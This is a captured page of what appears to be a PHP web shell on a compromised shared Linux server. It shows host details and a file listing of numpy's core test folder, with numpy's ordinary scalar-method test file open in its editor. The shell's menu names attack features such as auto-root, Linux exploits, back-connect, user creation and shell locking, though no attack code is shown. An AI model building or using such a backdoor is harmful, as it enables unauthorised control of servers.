Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
numpy /
core /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
data
[ DIR ]
drwxr-xr-x
examples
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
_locales.py
2.14
KB
-rw-r--r--
test__exceptions.py
1.96
KB
-rw-r--r--
test_abc.py
2.27
KB
-rw-r--r--
test_api.py
21.76
KB
-rw-r--r--
test_argparse.py
1.93
KB
-rw-r--r--
test_array_coercion.py
27.27
KB
-rw-r--r--
test_arraymethod.py
2.34
KB
-rw-r--r--
test_arrayprint.py
36.3
KB
-rw-r--r--
test_casting_unittests.py
27.19
KB
-rw-r--r--
test_conversion_utils.py
6.26
KB
-rw-r--r--
test_cpu_dispatcher.py
1.48
KB
-rw-r--r--
test_cpu_features.py
6.62
KB
-rw-r--r--
test_cython.py
3.45
KB
-rw-r--r--
test_datetime.py
109.93
KB
-rw-r--r--
test_defchararray.py
24.01
KB
-rw-r--r--
test_deprecations.py
44.47
KB
-rw-r--r--
test_dtype.py
59.15
KB
-rw-r--r--
test_einsum.py
47.9
KB
-rw-r--r--
test_errstate.py
2.02
KB
-rw-r--r--
test_extint128.py
5.51
KB
-rw-r--r--
test_function_base.py
14.07
KB
-rw-r--r--
test_getlimits.py
4.2
KB
-rw-r--r--
test_half.py
23.26
KB
-rw-r--r--
test_indexerrors.py
5.01
KB
-rw-r--r--
test_indexing.py
52.71
KB
-rw-r--r--
test_item_selection.py
3.5
KB
-rw-r--r--
test_longdouble.py
12.74
KB
-rw-r--r--
test_machar.py
1.04
KB
-rw-r--r--
test_mem_overlap.py
28.4
KB
-rw-r--r--
test_memmap.py
7.29
KB
-rw-r--r--
test_multiarray.py
328.73
KB
-rw-r--r--
test_nditer.py
124.75
KB
-rw-r--r--
test_numeric.py
132.07
KB
-rw-r--r--
test_numerictypes.py
20.36
KB
-rw-r--r--
test_overrides.py
19.66
KB
-rw-r--r--
test_print.py
6.58
KB
-rw-r--r--
test_protocols.py
1.14
KB
-rw-r--r--
test_records.py
19.79
KB
-rw-r--r--
test_regression.py
88.97
KB
-rw-r--r--
test_scalar_ctors.py
3.6
KB
-rw-r--r--
test_scalar_methods.py
4
KB
-rw-r--r--
test_scalarbuffer.py
5.5
KB
-rw-r--r--
test_scalarinherit.py
2.35
KB
-rw-r--r--
test_scalarmath.py
31.92
KB
-rw-r--r--
test_scalarprint.py
18.21
KB
-rw-r--r--
test_shape_base.py
26.61
KB
-rw-r--r--
test_simd.py
34.55
KB
-rw-r--r--
test_simd_module.py
3.67
KB
-rw-r--r--
test_ufunc.py
92.25
KB
-rw-r--r--
test_umath.py
137.25
KB
-rw-r--r--
test_umath_accuracy.py
3.04
KB
-rw-r--r--
test_umath_complex.py
22.76
KB
-rw-r--r--
test_unicode.py
12.26
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_scalar_methods.py
""" Test the scalar constructors, which also do type-coercion """ import fractions import platform import pytest import numpy as np from numpy.testing import assert_equal, assert_raises class TestAsIntegerRatio: # derived in part from the cpython test "test_floatasratio" @pytest.mark.parametrize("ftype", [ np.half, np.single, np.double, np.longdouble]) @pytest.mark.parametrize("f, ratio", [ (0.875, (7, 8)), (-0.875, (-7, 8)), (0.0, (0, 1)), (11.5, (23, 2)), ]) def test_small(self, ftype, f, ratio): assert_equal(ftype(f).as_integer_ratio(), ratio) @pytest.mark.parametrize("ftype", [ np.half, np.single, np.double, np.longdouble]) def test_simple_fractions(self, ftype): R = fractions.Fraction assert_equal(R(0, 1), R(*ftype(0.0).as_integer_ratio())) assert_equal(R(5, 2), R(*ftype(2.5).as_integer_ratio())) assert_equal(R(1, 2), R(*ftype(0.5).as_integer_ratio())) assert_equal(R(-2100, 1), R(*ftype(-2100.0).as_integer_ratio())) @pytest.mark.parametrize("ftype", [ np.half, np.single, np.double, np.longdouble]) def test_errors(self, ftype): assert_raises(OverflowError, ftype('inf').as_integer_ratio) assert_raises(OverflowError, ftype('-inf').as_integer_ratio) assert_raises(ValueError, ftype('nan').as_integer_ratio) def test_against_known_values(self): R = fractions.Fraction assert_equal(R(1075, 512), R(*np.half(2.1).as_integer_ratio())) assert_equal(R(-1075, 512), R(*np.half(-2.1).as_integer_ratio())) assert_equal(R(4404019, 2097152), R(*np.single(2.1).as_integer_ratio())) assert_equal(R(-4404019, 2097152), R(*np.single(-2.1).as_integer_ratio())) assert_equal(R(4728779608739021, 2251799813685248), R(*np.double(2.1).as_integer_ratio())) assert_equal(R(-4728779608739021, 2251799813685248), R(*np.double(-2.1).as_integer_ratio())) # longdouble is platform dependent @pytest.mark.parametrize("ftype, frac_vals, exp_vals", [ # dtype test cases generated using hypothesis # first five generated cases per dtype (np.half, [0.0, 0.01154830649280303, 0.31082276347447274, 0.527350517124794, 0.8308562335072596], [0, 1, 0, -8, 12]), (np.single, [0.0, 0.09248576989263226, 0.8160498218131407, 0.17389442853722373, 0.7956044195067877], [0, 12, 10, 17, -26]), (np.double, [0.0, 0.031066908499895136, 0.5214135908877832, 0.45780736035689296, 0.5906586745934036], [0, -801, 51, 194, -653]), pytest.param( np.longdouble, [0.0, 0.20492557202724854, 0.4277180662199366, 0.9888085019891495, 0.9620175814461964], [0, -7400, 14266, -7822, -8721], marks=[ pytest.mark.skipif( np.finfo(np.double) == np.finfo(np.longdouble), reason="long double is same as double"), pytest.mark.skipif( platform.machine().startswith("ppc"), reason="IBM double double"), ] ) ]) def test_roundtrip(self, ftype, frac_vals, exp_vals): for frac, exp in zip(frac_vals, exp_vals): f = np.ldexp(ftype(frac), exp) assert f.dtype == ftype n, d = f.as_integer_ratio() try: # workaround for gh-9968 nf = np.longdouble(str(n)) df = np.longdouble(str(d)) except (OverflowError, RuntimeWarning): # the values may not fit in any float type pytest.skip("longdouble too small on this platform") assert_equal(nf / df, f, "{}/{}".format(n, d))
Close